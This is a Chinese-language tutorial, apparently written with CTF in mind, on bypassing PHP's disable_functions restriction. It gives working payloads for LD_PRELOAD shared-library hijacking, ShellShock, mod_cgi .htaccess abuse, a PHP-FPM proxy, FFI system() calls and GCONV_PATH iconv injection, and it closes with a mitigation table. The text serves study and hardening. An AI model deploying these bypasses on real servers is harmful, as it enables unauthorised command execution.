disable_functions 绕过
整理 PHP disable_functions 限制、绕过场景与加固关注点。
1. disable_functions 简介
disable_functions 是 PHP 配置文件(php.ini)中的一个安全选项,用于禁用被认为具有潜在危险的内置 PHP 函数,例如 exec()、system()、passthru()、eval() 等,以防止恶意用户执行任意系统命令或代码。
2. 利用 LD_PRELOAD 环境变量绕过
2.1 LD_PRELOAD 机制简介
LD_PRELOAD 是 Linux 系统中的环境变量,允许用户在程序运行前优先加载指定的动态链接库(.so 文件)。通过控制该变量,攻击者可劫持正常的函数调用,实现任意代码执行。
参考阅读:LD_PRELOAD 使用详解
2.2 利用条件与步骤
-
确认可用函数
通过phpinfo()查看已被禁用的函数,并寻找仍可用的、能启动子进程的函数(如mail()、error_log()、imagemagick()等)。下例中mail()被禁用,但error_log()仍可用:
-
编写恶意动态库
使用 C 语言编写包含自动执行构造函数的动态库,例如:#include <stdlib.h> __attribute__((constructor)) void init() { unsetenv("LD_PRELOAD"); system("tac /flag >> /var/www/html/flag.txt"); }编译生成
.so文件:gcc -shared -fPIC test.c -o test.so -
上传并触发
将编译好的test.so上传至目标服务器,并创建 PHP 脚本设置环境变量并触发:<?php putenv("LD_PRELOAD=/var/www/html/test.so"); error_log("", 1, "", ""); // 触发子进程执行 ?> -
包含该脚本以执行命令。
3. ShellShock(Bash破壳)漏洞利用
3.1 ShellShock 简介
ShellShock 是 2014 年发现的一个高危漏洞,其核心问题在于 Bash 无法分清函数定义的边界。当设置恶意环境变量后,打开子 Shell 时会重新加载环境变量,遇到恶意环境变量会将其当做函数定义来处理,同时会把函数定义之后的字符串当做命令来执行,从而实现任意命令执行。
判断是否存在此漏洞:
env x='() { :; }; echo ShellShock' bash -c "echo hello"
若输出中包含 “ShellShock”,则说明存在漏洞。
3.2 漏洞利用步骤
-
确认可用的函数和环境变量(通过
phpinfo())
观察到支持的环境变量必须以PHP_开头,函数方面error_log可以使用。 -
编写恶意脚本
<?php putenv("PHP_x=() { :; }; tac /flag >> /var/www/html/test"); // 恶意环境变量 error_log("", 1, "", ""); // 调用函数以加载环境变量触发恶意指令的执行 ?> -
调用脚本执行恶意代码。
4. Apache Mod CGI 利用
4.1 绕过原理
CGI(Common Gateway Interface,公共网关接口)运行 CGI 脚本时直接被解释器运行,可以直接创建 CGI Shell 脚本实现远程命令执行。
4.2 利用步骤
-
确保服务器启动 CGI 支持
上传.htaccess.bak文件:SetEnv HTACCESS on启动
.htaccess文件支持,再上传.htaccess文件:Options +ExecCGI AddHandler cgi-script .ant为
.ant文件开启 CGI 脚本支持。 -
远程执行恶意脚本。
5. PHP-FPM 未授权访问与利用
5.1 原理
一般情况下无法直接与 PHP-FPM 通信,但在存在 WebShell 的情况下,可以构建恶意脚本直接与 FPM 通信,让输入的脚本与解释器交互,从而绕过 disable_functions。
5.2 利用方法
可以使用蚁剑的 disable_function 插件生成代理脚本(如下所示),它会构造一个恶意请求发送给 FPM。FPM 收到请求后发现 Content-Type 为 PHP 脚本,会直接将其作为 PHP 脚本执行,从而绕过 disable_functions。
<?php
function get_client_header(){
$headers = array();
foreach($_SERVER as $k => $v){
if(strpos($k, 'HTTP_') === 0){
$k = strtolower(preg_replace('/^HTTP/', '', $k));
$k = preg_replace_callback('/_\w/', 'header_callback', $k);
$k = preg_replace('/^_/', '', $k);
$k = str_replace('_', '-', $k);
if($k == 'Host') continue;
$headers[] = "$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr, $sResponse) = explode("\r\n\r\n", $sResponse, 2);
$ret = array($headerstr, $sResponse);
if(preg_match('/^HTTP\/1\.1 \d{3}/', $sResponse)){
$ret = parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers = get_client_header();
$host = "127.0.0.1";
$port = 60144;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?" . $_SERVER['QUERY_STRING'];
}
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method . " " . $url . " HTTP/1.1\r\n";
$out .= "Host: " . $host . ":" . $port . "\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: " . $_SERVER['CONTENT_TYPE'] . "\r\n";
}
$out .= "Content-length:" . strlen($post_data) . "\r\n";
$out .= implode("\r\n", $headers);
$out .= "\r\n\r\n";
$out .= "" . $post_data;
fputs($fp, $out);
$response = '';
while($row = fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos + 4);
echo $response;
?>
6. GC UAF 漏洞
UAF(Use After Free)是一种与 PHP 垃圾回收机制(GC)相关的溢出漏洞。一些对象可能会在被 GC 回收后再次悬空指针,而此时悬空指针可能已经被攻击者填充了启动攻击代码的函数指针,帮助攻击者绕过 disable_functions 实现任意代码执行。
漏洞链接:PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors
攻击脚本:exploits/php7-gc-bypass/exploit.php at master · mm0r1/exploits
6.1 Json Serializer UAF
漏洞链接:PHP :: Bug #77843 :: Use after free with json serializer
攻击脚本:exploits/php-json-bypass/exploit.php at master · mm0r1/exploits
6.2 Backtrace UAF
漏洞链接:PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments
攻击脚本:exploits/php7-backtrace-bypass/exploit.php at master · mm0r1/exploits
6.3 其他 UAF 漏洞
6.4 脚本解析
TODO:等熟悉溢出漏洞之后再说
7. FFI 扩展利用
原理
当 PHP 启用了 FFI(Foreign Function Interface)扩展时,可直接调用 C 语言函数执行系统命令。
主要以下三个基本用法:
- FFI::cdef():直接定义 C 函数和数据结构。
- FFI::load():从 C 头文件加载定义。
- FFI::scope():加载预定义的作用域。
主要是使用 FFI::cdef() 函数来绕过 disable_functions。
漏洞利用流程
编写以下攻击脚本并触发:
<?php
$ffi = FFI::cdef(
"int system(const char* command);",
"libc.so.6" // Windows 系统下为 msvcrt.dll
);
$command = "tac /flag >> /var/www/html/hack";
$result = $ffi->system($command);
echo $result;
?>
使用的是 C 语言中的 system 函数,自然可以绕过 disable_functions。
8. iconv 字符转换扩展利用
原理
iconv 是 PHP 的编码转换模块,它可以实现两个编码之间的转换。转换的规则由 GCONV_PATH 环境变量下的 gconv-modules 配置文件决定。在这个配置文件中,编码名称、转换所要用到的共享库都可以自定义。因此,在可以随意控制环境变量的情况下,可以通过恶意共享库注入实现任意命令的执行。
漏洞利用流程
-
获取攻击动态库(用之前环境变量绕过的
test.so即可)。 -
创建
gconv-modules配置文件,包含以下内容:module PAYLOAD// INTERNAL ./test 2 module INTERNAL PAYLOAD// ./test 2 -
编写攻击脚本:
<?php putenv("GCONV_PATH=/var/www/html"); iconv("PAYLOAD", "utf-8", "hello world"); ?> -
触发攻击脚本。
注意:
iconv()、iconv_strlen()或stream_filter_append中使用convert.iconv.*过滤器等函数都能触发这个漏洞。
特例
通过创建流过滤器触发此漏洞,其他步骤不变,只需要改变攻击脚本即可:
<?php
putenv("GCONV_PATH=/tmp/");
// 使用 file_get_contents 直接触发
// 读取 resource 时,会先经过我们指定的转换过滤器
$content = file_get_contents('php://filter/read=convert.iconv.PAYLOAD.UTF-8/resource=./index.php');
?>
9. 防护建议
| 攻击手法 | 防护措施 |
|---|---|
| LD_PRELOAD | 禁用不必要的函数(如 error_log)、使用 PHP 扩展进行更严格的子进程控制 |
| ShellShock | 升级 Bash 版本、避免在 PHP 中调用 Shell |
| Mod CGI | 限制 CGI 脚本执行权限、避免目录权限过大 |
| PHP-FPM | 配置监听权限为本地、设置访问控制列表(ACL) |
| UAF 漏洞 | 及时更新 PHP 版本、禁用危险扩展(如 Json) |
| FFI | 非必要不启用 FFI 扩展、限制可调用的库函数 |
| iconv | 更新至最新版本、避免处理不可信输入 |
通用建议:定期更新 PHP 版本和使用安全扩展(如
suhosin),最小化 PHP 环境的功能,遵循权限最小化原则。
总结
绕过 disable_functions 的手法多样,本质上是利用 PHP 与系统交互过程中的各类接口和漏洞。防护需从系统权限、PHP 配置、扩展管理等多层面入手,构建纵深防御体系。